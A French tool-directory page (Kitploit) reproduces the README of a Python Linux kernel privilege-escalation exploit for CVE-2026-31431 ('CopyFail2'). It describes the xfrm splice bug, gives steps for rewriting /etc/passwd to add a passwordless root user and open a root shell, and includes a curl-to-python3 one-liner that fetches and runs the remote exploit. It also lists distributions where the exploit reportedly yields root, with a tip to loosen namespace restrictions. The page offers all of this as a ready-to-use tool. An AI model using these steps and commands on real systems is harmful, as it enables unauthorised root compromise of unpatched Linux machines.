Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-31431 — Implémentation en Python d'un exploit d'élévation de privilèges locaux du noyau Linux pour CVE-2026-31431, exploitant xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW pour écraser /etc/passwd et obtenir les droits root. | Kitploit
Outils/GitHubGitHub/guiimoraes/cve-2026-31431
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationTests d'IntrusionExploitation de Binaires
GitHubguiimoraes/cve-2026-31431

CVE-2026-31431

Implémentation en Python d'un exploit d'élévation de privilèges locaux du noyau Linux pour CVE-2026-31431, exploitant xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW pour écraser /etc/passwd et obtenir les droits root.

Voir le dépôt
3il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Démonstration de l'exploit CopyFail2

CopyFail2 (CVE-2026-31431) - Implémentation Python

Portage Python de l'exploit noyau CopyFail2 exploitant le chemin rapide sans COW MSG_SPLICE_PAGES d'ESP-in-UDP xfrm pour l'élévation de privilèges locale non privilégiée sous Linux.

Remplace une entrée nologin/false dans /etc/passwd par un utilisateur uid-0 sans mot de passe et ouvre un shell root via su.

Vulnérabilité

Le bug noyau réside dans le chemin splice UDP utilisé par l'encapsulation ESP-in-UDP xfrm. splice() dans une socket UDP avec MSG_SPLICE_PAGES provoque le mappage des pages dans le cache de pages du récepteur sans déclencher de copie à l'écriture. Cela permet d'écrire dans n'importe quel fichier actuellement mappé dans le cache de pages, même s'il est ouvert en lecture seule.

  • Implémentation C d'origine : 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  • Correctif en amont : netdev/net.git

Prérequis

  • Noyau Linux >= 6.5 (prise en charge UDP MSG_SPLICE_PAGES)
  • libcrypto.so (OpenSSL)
  • Python 3.8+
  • CAP_NET_ADMIN ou la capacité de créer des espaces de noms utilisateur

Quelle version utiliser

Ce dépôt fournit deux variantes. Les deux produisent le même résultat ; choisissez en fonction de vos contraintes.

Démarrage rapide (optimisé)

root@kitploit:~
# En une ligne via pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# Fichier enregistré
python3 exploit.py

# Annuler les modifications
python3 exploit.py --clean

Démarrage rapide (brut/référence)

root@kitploit:~
python3 exploit_raw.py
python3 exploit_raw.py --clean

Sur Ubuntu avec apparmor_restrict_unprivileged_userns activé, enregistrez d'abord le fichier puis exécutez-le depuis le disque ; le mode pipe contourne la danse de contournement AppArmor.

root@kitploit:~
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

Comment ça fonctionne

  1. Force brute une IV AES-GCM dont l'octet de flux de chiffrement XOR l'octet d'origine de /etc/passwd en la valeur souhaitée.
  2. Installe un état xfrm ESP-in-UDP local sur 127.0.0.1:4500.
  3. Fabrique un fichier de sauvegarde contrôlé par l'attaquant contenant l'en-tête ESP forgé et l'ICV.
  4. splice() trois plages (en-tête ESP, octet cible de /etc/passwd, ICV) dans un pipe.
  5. splice() le pipe dans la socket UDP, déclenchant le bug noyau et écrivant l'octet dans le cache de pages.
  6. Répète pour chaque octet différent afin de remplacer une ligne nologin/false par sick::0:0:...:/:/bin/bash.
  7. su - sick ouvre un shell root (PAM nullok accepte un mot de passe vide).

Testé

Dépannage

cannot acquire CAP_NET_ADMIN

Votre noyau peut avoir kernel.unprivileged_userns_clone=0. Activez-le :

root@kitploit:~
sudo sysctl kernel.unprivileged_userns_clone=1

Si vous exécutez dans Docker, démarrez le conteneur avec --privileged ou --cap-add=SYS_ADMIN.

Crédits

  • Hyunwoo Kim (imv4bel) et Kuan-Ting Chen — découverte et correctif en amont
  • Steffen Klassert — mainteneur IPsec, a publié le correctif
  • Brad Spengler / grsecurity — a inventé le terme « classe copyfail »
  • Theori / Xint — exploit Copy Fail d'origine (CVE-2026-31431)
  • Exploit C d'origine par 0xdeadbeefnetwork
  • Exploit Python par guiimoraes

Avertissement

Cet outil est fourni uniquement pour la recherche en sécurité autorisée et à des fins éducatives. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce logiciel.

Télécharger l’outil
FichierDescriptionVitesseQuand l'utiliser
exploit.pyOptimisé — réutilise l'état xfrm/les sockets/le pipe entre les mutations, traite 2 octets consécutifs par cycle, sondage actif au lieu d'un sommeil fixe.~3–8 s pour une ligne de 99 octetsChoix par défaut. Rapide, stable, testé sur plusieurs distributions.
exploit_raw.pyRéférence — le plus proche du code C d'origine. Recrée l'état xfrm, les sockets, le pipe et le fichier temporaire pour chaque octet, sommeil fixe de 200 ms par mutation.~30–40 s pour une ligne de 99 octetsÀ utiliser si vous voulez le chemin de code le plus simple possible pour l'audit, ou si la version optimisée se comporte mal sur une version de noyau spécifique.
DistributionNoyauRésultat
Ubuntu 24.04 LTS6.8.0-110-genericroot
Debian 136.12.74root
Arch6.19.11-arch1-1root
Fedora 436.19.14-200.fc43root
Ubuntu 26.04 LTS7.0.0-15-genericroot
Ubuntu 22.04 LTS5.15.0-176-genericnon vulnérable